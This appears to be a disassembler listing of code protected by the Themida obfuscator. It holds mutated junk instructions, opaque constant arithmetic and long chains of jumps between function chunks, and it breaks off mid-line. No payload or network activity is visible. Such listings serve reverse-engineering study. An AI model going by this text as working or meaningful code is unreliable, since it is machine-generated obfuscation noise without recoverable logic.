Themida_:00597F22j inc ecx jmp loc_593DC3 ; --------------------------------------------------------------------------- loc_58EE1E: ; CODE XREF: Themida_:0058FD4Aj and dh, 0A5h jnz loc_591C97 push ebx push eax jmp loc_58FE60 ; --------------------------------------------------------------------------- jmp loc_590E5C ; --------------------------------------------------------------------------- loc_58EE33: ; CODE XREF: Themida_:00595968j add esi, edx pop edx jmp loc_596243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58EE3B: ; CODE XREF: sub_58C17E+5CBDj neg esi neg esi sub esi, 96BC43E2h sub ebp, esi jmp loc_596731 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58EE4C: ; CODE XREF: Themida_:0058DC75j pop eax jmp loc_58CE47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58EE52: ; CODE XREF: sub_58C17E+B116j jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58EE57: ; CODE XREF: Themida_:0058ED97j xchg edi, [esp] jmp loc_58E305 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58EE5F: ; CODE XREF: sub_58F5B5-1228j pop ecx push ecx mov ecx, 42E378FDh and esi, ecx jmp loc_595572 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58EE6D: ; CODE XREF: Themida_:0059679Fj add edi, 603420EBh shl edi, 1 inc edi or edi, 3703589Dh add edi, 8E5204EDh sub eax, edi mov edi, [esp] push esi mov esi, esp push ebp mov ebp, 4 add esi, ebp pop ebp add esi, 4 xchg esi, [esp] mov esp, [esp] push dword ptr [esp] pop ecx add esp, 4 add eax, ebx push edi mov edi, 570E658Ch add eax, edi pop edi push edx mov edx, 75F07021h sub esp, 4 mov [esp], esi push 37DAh mov [esp], ebx mov ebx, 108702A4h push ecx mov ecx, 205E64F5h add ebx, ecx pop ecx mov esi, ebx jmp loc_596A73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58EEDD: ; CODE XREF: sub_5EC2E8-5FD60j push [esp+38h+var_38] pop ebx jmp loc_5949E4 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58EEE6: ; CODE XREF: Themida_:00592E49j pop esi sub edx, 5BF14809h add edx, eax push ebx mov ebx, 4A1933DDh inc ebx sub ebx, 0FA7F1BA1h add ebx, 3EA9480Eh jmp loc_58FDCD ; --------------------------------------------------------------------------- loc_58EF07: ; CODE XREF: Themida_:00591DACj xor ebp, 0C8391E51h mov ecx, ebp pop ebp and ecx, 34DF6AD7h jmp loc_58F74F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58EF1B: ; CODE XREF: sub_5919E2-19DBj push [esp+10h+var_10] pop eax jmp loc_58AF7B ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- loc_58EF24: ; CODE XREF: Themida_:0058D278j pop esp or [esp], al pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58EF2E: ; CODE XREF: Themida_:00595C27j push ecx mov ecx, 297A7957h sub ebp, ecx pop ecx add ebp, edx add ebp, 297A7957h pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov edx, [esp] jmp loc_597773 ; =============== S U B R O U T I N E ======================================= sub_58EF52 proc near ; CODE XREF: sub_5938B9-4E3j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059066E SIZE 00000014 BYTES sub esp, 4 jmp loc_59066E sub_58EF52 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58EF5A: ; CODE XREF: sub_58B4D6+C8D7j mov edx, 3D0A1743h neg edx xor edx, 8F30456h xor edx, 26F23E8h shl edx, 5 push ecx mov ecx, 1 add edx, ecx pop ecx add edx, 0A4C4662Bh sub ebx, edx pop edx add edx, ebx jmp loc_591F71 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_58EF89: ; CODE XREF: Themida_:0058D7EAj sub dword ptr [esp], 3A87527Eh add [esp], eax push ebp jmp loc_59697D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59089C loc_58EF99: ; CODE XREF: sub_59089C-28E4j mov [esp+8+var_8], ebx xor [esp+8+var_8], 62CB5294h mov edi, [esp+8+var_8] add esp, 4 jmp sub_5916C4 ; END OF FUNCTION CHUNK FOR sub_59089C ; --------------------------------------------------------------------------- loc_58EFB1: ; CODE XREF: Themida_:0058F28Cj ; Themida_:00594023j mov edx, [esp] add esp, 4 sub edi, 4 jmp loc_590C9A ; --------------------------------------------------------------------------- loc_58EFC5: ; CODE XREF: Themida_:0058D830j jmp loc_58A2CE ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push ecx push esp pop ecx push edx mov edx, 4 add ecx, edx mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edi mov edi, 4D166A3Eh sub edi, 1 push edi xchg edi, [esp] not edi xchg edi, [esp] pop edi shr edi, 2 sub edi, 2CBA656Ch add ecx, edi pop edi jmp loc_58C262 ; =============== S U B R O U T I N E ======================================= sub_58F013 proc near ; CODE XREF: sub_594654-9D5j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058CB4F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058DA19 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005927DA SIZE 00000007 BYTES push ebp mov ebp, 21CE69F6h xor ebp, 555F7F6Ch or ebp, 7CBD6AD2h not ebp neg ebp xor ebp, 7CBD7ED9h jmp loc_5927DA sub_58F013 endp ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push eax push ebx jmp loc_591CFF ; --------------------------------------------------------------------------- loc_58F04D: ; CODE XREF: Themida_:00596775j inc eax jz loc_59470C shl eax, 1 jnp loc_59423F jmp loc_58A9BC ; --------------------------------------------------------------------------- loc_58F061: ; CODE XREF: Themida_:0058FC22j mov dl, al pop eax add dl, 1 jmp loc_5925D2 ; --------------------------------------------------------------------------- loc_58F06C: ; CODE XREF: Themida_:0058E7D2j push ebx jmp loc_5959D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594131 loc_58F072: ; CODE XREF: sub_594131-75EDj mov ecx, 4 add edi, ecx pop ecx xchg edi, [esp+0] mov esp, [esp+0] imul ecx push edi sub esp, 4 mov [esp+0], esp jmp sub_596EB8 ; END OF FUNCTION CHUNK FOR sub_594131 ; =============== S U B R O U T I N E ======================================= sub_58F091 proc near ; CODE XREF: sub_5916C4+3E3j var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058B44B SIZE 00000047 BYTES ; FUNCTION CHUNK AT 0058C5E8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058CA6C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058CC69 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005902C7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005922A7 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], edi push ebp mov ebp, 323F51C0h mov edi, 5BD54765h jmp loc_5922A7 sub_58F091 endp ; --------------------------------------------------------------------------- loc_58F0AA: ; CODE XREF: Themida_:00592745j jnp loc_591DD5 dec dh jo loc_596A73 xor dh, 0DEh neg dh jmp loc_5956D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58F0C2: ; CODE XREF: sub_590467-53B4j pop esi sub esp, 4 mov [esp+6+var_6], ecx jmp loc_593C42 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58F0CE: ; CODE XREF: Themida_:0059008Aj push dword ptr [esp] pop esi push ebx mov ebx, esp push ecx push edx mov edx, 4EDC2A70h add edx, 8662843h jmp loc_594665 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58F0E7: ; CODE XREF: sub_590010+22A3j push dword ptr [esp+0] mov edx, [esp-10h+arg_C] add esp, 4 add esp, 4 push eax push [esp-14h+arg_14] pop eax pop dword ptr [esp+0] mov esp, [esp-18h+arg_14] mov word ptr [esp-18h+arg_14], dx jmp loc_597EC1 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F10B: ; CODE XREF: Themida_:0058E60Ej ; Themida_:005903A6j ... xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] dec word ptr [esp+0] pushf jmp loc_59490B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp jmp loc_594566 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58F12A: ; CODE XREF: sub_590010-3A05j jmp loc_5943F3 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58F12F: ; CODE XREF: sub_59762D-50A1j ; sub_5938B9+1j mov ebx, 55AA2E27h not ebx shl ebx, 3 and ebx, 1EFD4B19h inc ebx xor ebx, 5FF232E0h mov edx, ebx pop ebx jmp loc_592804 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58F14E: ; CODE XREF: Themida_:0058B97Ej push 4464h mov [esp], ecx mov ecx, 570E658Ch add eax, 456602ACh sub eax, ecx jmp loc_596799 ; --------------------------------------------------------------------------- loc_58F167: ; CODE XREF: Themida_:005923FAj mov esp, [esp] mov [esp], ebx jmp loc_594327 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58F172: ; CODE XREF: sub_5916CB+6665j mov edx, ebp jmp loc_58E6D0 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_58F179: ; CODE XREF: Themida_:00591A97j sub ebp, eax jmp loc_58D06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58F180: ; CODE XREF: Themida_:00590533j ; sub_58F5B5+2E2Bj add ecx, 0B69BBEEh jmp loc_59275C ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58F18B: ; CODE XREF: Themida_:0058B52Cj not ecx neg ecx sub ecx, 0CF9DE84Eh jmp loc_59164E ; --------------------------------------------------------------------------- loc_58F19A: ; CODE XREF: Themida_:0058DCB0j push edx jmp loc_59541D ; --------------------------------------------------------------------------- loc_58F1A0: ; CODE XREF: Themida_:00591054j push 1DF4h mov [esp], esp add dword ptr [esp], 4 jmp loc_5921B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58F1B1: ; CODE XREF: Themida_:00591334j ; sub_5916C4+2608j mov bl, cl pop ecx jmp loc_593D33 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_58F1B9: ; CODE XREF: sub_5919E2+1AAEj popf retn ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58F1C0: ; CODE XREF: Themida_:0058C287j push esi mov esi, 0DA82AD2h neg esi push edi mov edi, 2AD67250h jmp loc_597EF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58F1D3: ; CODE XREF: sub_590010-AE1j add esp, 4 jmp loc_5944E5 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58F1DB: ; CODE XREF: Themida_:00593CBCj jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58F1E0: ; CODE XREF: Themida_:00590E78j mov ebp, 5C510DF5h shl ebp, 2 jmp loc_596ABF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F1ED: ; CODE XREF: sub_58C17E+5A8Aj push edx push ebx mov ebx, 41E43693h mov edx, 3344EC10h add edx, ebx pop ebx add ecx, 4D932F13h sub ecx, edx sub ecx, 4D932F13h pop edx sub ecx, 69122792h mov edi, [esp+0] jmp loc_58CE7F ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58F219: ; CODE XREF: sub_590467-E8Bj pop ecx jmp loc_596A6C ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58F21F: ; CODE XREF: sub_5916C4+48EAj add esi, 952E0913h xor eax, esi push [esp-4+arg_0] jmp loc_592F04 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58F22F: ; CODE XREF: sub_5EC2E8-59808j sub ebx, 14673BEFh sub esp, 4 mov [esp+3Ch+var_3C], eax mov eax, 35DC3567h add ebx, 5D182EA6h add ebx, eax sub ebx, 5D182EA6h mov eax, [esp+3Ch+var_3C] jmp loc_590682 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58F259: ; CODE XREF: sub_5916C4+2D03j push edx push 37B046C4h pop edx mov eax, 5D4BFF2h sub eax, 41BC052Ch add eax, edx add eax, 41BC052Ch pop edx jmp loc_595F9B ; END OF FUNCTION CHUNK FOR sub_5916C4 ; =============== S U B R O U T I N E ======================================= sub_58F277 proc near ; CODE XREF: sub_58D0EB+B39j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00592591 SIZE 00000009 BYTES push ebx jmp loc_592591 sub_58F277 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58F27D: ; CODE XREF: Themida_:0058DDEEj shr esi, 1 jnp loc_590E71 push ecx mov ecx, 78F71FA3h push ebp jmp loc_58EFB1 ; --------------------------------------------------------------------------- mov eax, [edx] ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58F293: ; CODE XREF: sub_58B4D6+2295j add esp, 4 xchg eax, [esp+4+var_4] pop esp mov [esp+0], dx push ax pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58F2A6: ; CODE XREF: sub_590467+1CA8j pop ebx pop dword ptr [esp+0] pop esp jmp loc_58C950 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58F2B0: ; CODE XREF: Themida_:00592B52j pop eax jmp loc_58AA0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58F2B6: ; CODE XREF: sub_590010+3807j and ecx, ebp mov ebp, [esp+0] push edi mov edi, esp add edi, 4 push edx mov edx, 4 add edi, edx pop edx jmp loc_58CC74 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58F2D2: ; CODE XREF: sub_5938B9-3225j add esi, 38827CF2h mov ebp, esi jmp loc_5903BA ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58F2DF: ; CODE XREF: sub_5916CB+5172j add eax, 0B13531EBh not eax shr eax, 1 inc eax dec eax add eax, 0E2DD5393h xor edx, eax pop eax and eax, edx jmp loc_58E893 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_58F2F9: ; CODE XREF: Themida_:00594FC0j xchg edi, ebx not edi xchg edi, ebx jmp loc_58C217 ; --------------------------------------------------------------------------- loc_58F304: ; CODE XREF: Themida_:loc_594098j add ebp, 3EED7CF3h mov eax, ebp mov ebp, [esp] jmp loc_59297D ; --------------------------------------------------------------------------- loc_58F314: ; CODE XREF: Themida_:0058B73Fj shr ah, 5 push edx push eax mov al, 7Eh jmp loc_591A19 ; --------------------------------------------------------------------------- loc_58F320: ; CODE XREF: Themida_:00592122j jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58F325: ; CODE XREF: Themida_:00594E10j push edx mov dl, 95h or bh, dl pop edx push dx mov dl, 43h sub bh, 0BBh add bh, dl add bh, 0BBh mov dx, [esp] add esp, 2 push ebx mov bl, 0Ah xor bl, 5Eh sub al, bl jmp loc_58E810 ; --------------------------------------------------------------------------- loc_58F34B: ; CODE XREF: Themida_:00595017j push cx jmp loc_59569D ; --------------------------------------------------------------------------- loc_58F352: ; CODE XREF: Themida_:0058A612j mov bl, 64h add ch, bl jmp loc_58B63C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58F35B: ; CODE XREF: sub_58F5B5+31BDj add edi, 0CDF452Ch sub edi, 289E164Ch shr edi, 8 neg edi neg edi jmp loc_59337B ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edi jmp loc_593364 ; --------------------------------------------------------------------------- loc_58F385: ; CODE XREF: Themida_:loc_58E300j ; Themida_:0058E44Bj mov si, 17F2h sub si, 9A51h add bx, si jmp loc_592E4E ; --------------------------------------------------------------------------- loc_58F396: ; CODE XREF: Themida_:00598013j and [edi+1Ch], ebp pop ebp jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58F39F: ; CODE XREF: sub_5916CB-467Fj add esp, 4 add edx, 35B56B62h add edx, edi sub edx, 35B56B62h push ebx mov ebx, 6E62DA1h shl ebx, 6 xor ebx, 58BF62C7h inc ebx dec ebx add ebx, 56F64658h add edx, ebx pop ebx push ebx jmp loc_592BCF ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_58F3D0: ; CODE XREF: Themida_:0058ACE1j add edx, 4 xchg edx, [esp] mov esp, [esp] xor ebx, eax sub esp, 4 mov [esp], esi jmp loc_591F52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58F3EC: ; CODE XREF: sub_5916C4-13Dj pop ecx sub ecx, ebp pop ebp sub eax, ecx mov ecx, [esp-8+arg_4] jmp loc_58F8C3 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58F3FA: ; CODE XREF: Themida_:loc_5940F3j push ebp jmp loc_59325C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F400: ; CODE XREF: sub_58C17E+282Ej pop edi xchg edx, [esp-4+arg_0] pop esp add esp, 4 shl [esp-0Ch+arg_8], cl jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58F413: ; CODE XREF: sub_58F5B5+18Ej add esi, 3B0A2CEAh xor esi, 37BC4C5Ch sub esi, 149A35B0h jmp loc_58DB4D ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58F42A: ; CODE XREF: sub_595123-C60j pop eax sub esp, 4 mov [esp+0Ch+var_C], edi mov edi, 0E00398CEh sub ecx, edi jmp loc_595A83 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_58F43D: ; CODE XREF: Themida_:0058A520j sub eax, edx pop edx sub eax, 140C78A2h pop esi mov esi, eax mov eax, [esp] add esp, 4 add [esp+4], esi pop esi jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58F458: ; CODE XREF: Themida_:005957F2j shr ebx, 4 xor ebx, 2D749650h jmp loc_59341A ; --------------------------------------------------------------------------- loc_58F466: ; CODE XREF: Themida_:005938B4j mov [esp], edx push ecx push 1C941F57h pop ecx shr ecx, 5 jmp loc_58F54E ; --------------------------------------------------------------------------- loc_58F478: ; CODE XREF: Themida_:0058CB13j dec ebp jmp loc_591067 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58F47E: ; CODE XREF: sub_592D25+4E2Dj sub ebp, 836A7E70h and edi, ebp pop ebp sub edi, 63F70EB4h jmp loc_592438 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_58F492: ; CODE XREF: Themida_:0058CB7Aj push esi jmp loc_59045F ; --------------------------------------------------------------------------- loc_58F498: ; CODE XREF: Themida_:00590EA9j mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp sar word ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_58F4AC: ; CODE XREF: sub_594654+2ABDj pop ebp jmp loc_58D1B3 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58F4B2: ; CODE XREF: sub_595E21-9B55j mov ebx, esp add ebx, 4 push esi mov esi, 4 sub ebx, esi pop esi xchg ebx, [esp+0] pop esp mov [esp-4+arg_0], ecx mov ecx, 22AA4433h xor edi, ecx mov ecx, [esp-4+arg_0] jmp loc_58E1EA ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F4D9: ; CODE XREF: sub_58C17E+EEAj mov ecx, 65774FFh inc ecx jo loc_595A16 and ecx, 6CA03396h xchg edx, ecx not edx jmp loc_58B69B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push esi push esp pop esi jmp loc_58D4ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58F500: ; CODE XREF: sub_590467-421Aj mov esp, [esp+0] jmp loc_595E62 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58F508: ; CODE XREF: sub_5EC2E8-59408j push ecx mov ecx, 5CDD7503h add ecx, 0AD66C69Dh and ebx, ecx jmp loc_590CE7 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B03F loc_58F51B: ; CODE XREF: sub_58B03F+2j mov esi, 1 mov ebx, esi pop esi sub esp, 4 jmp loc_597577 ; END OF FUNCTION CHUNK FOR sub_58B03F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58F52E: ; CODE XREF: sub_590010-3C7Ej pop ecx jmp loc_58F1D3 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58F534: ; CODE XREF: sub_5EC2E8-5C269j mov edx, [esp+40h+var_40] add esp, 4 xor ebp, [esp+3Ch+var_3C] xor [esp+3Ch+var_3C], ebp xor ebp, [esp+3Ch+var_3C] mov esp, [esp+3Ch+var_3C] jmp loc_591F80 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58F54E: ; CODE XREF: Themida_:0058F473j push ebx mov ebx, 6B3C4DD6h neg ebx sub ebx, 0FFFFFFFFh and ebx, 0FEE7FCEh jmp loc_5916FD ; --------------------------------------------------------------------------- loc_58F567: ; CODE XREF: Themida_:00590D42j sub eax, ebp mov ebp, [esp] push edi jmp loc_5932EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F572: ; CODE XREF: sub_58C17E+AA4Ej pop ebx add edx, ebp jmp loc_590F6C ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58F57A: ; CODE XREF: sub_5916CB-3461j dec edx jnp loc_5953A1 dec edx jg loc_5900F4 jmp loc_58F677 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- not ebp dec ebp mov ah, 7 push edx push 216C187Ch jmp loc_58B7D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58F59D: ; CODE XREF: sub_58C17E+4648j xor edi, 443EC67Ah sub edx, 43F14273h jmp loc_58E998 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58F5AE: ; CODE XREF: sub_595258-65DBj pop edi pop [esp+8+var_8] pop dword ptr [edi+24h] ; END OF FUNCTION CHUNK FOR sub_595258 ; =============== S U B R O U T I N E ======================================= sub_58F5B5 proc near ; CODE XREF: sub_590010+44D7j var_2C = dword ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0058A338 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058A689 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058A83F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058AF1A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058B1C5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058B2C6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058B2FC SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0058B3F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058B583 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058B690 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058B6EF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058B8B2 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0058B92E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058BB39 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058BB82 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058C103 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058C252 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058C546 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0058C5E0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058C6EC SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0058C762 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058CD15 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D0E0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D3BC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058D434 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D612 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058D642 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058D6C5 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0058DB4D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058DBA6 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058DBDF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058DEED SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058E077 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0058E22C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058E378 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058E40C SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0058EACC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058EB02 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058ED09 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058EE5F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058F180 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058F35B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058F413 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058F677 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058F704 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058F736 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058F79C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058F927 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058FB23 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058FCD4 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0058FDF7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058FE39 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058FF8A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058FFBA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059008F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005906BA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059080D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00590910 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00590A34 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00590D34 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00590DA6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059120D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005915ED SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059161F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005916AF SIZE 0000000D 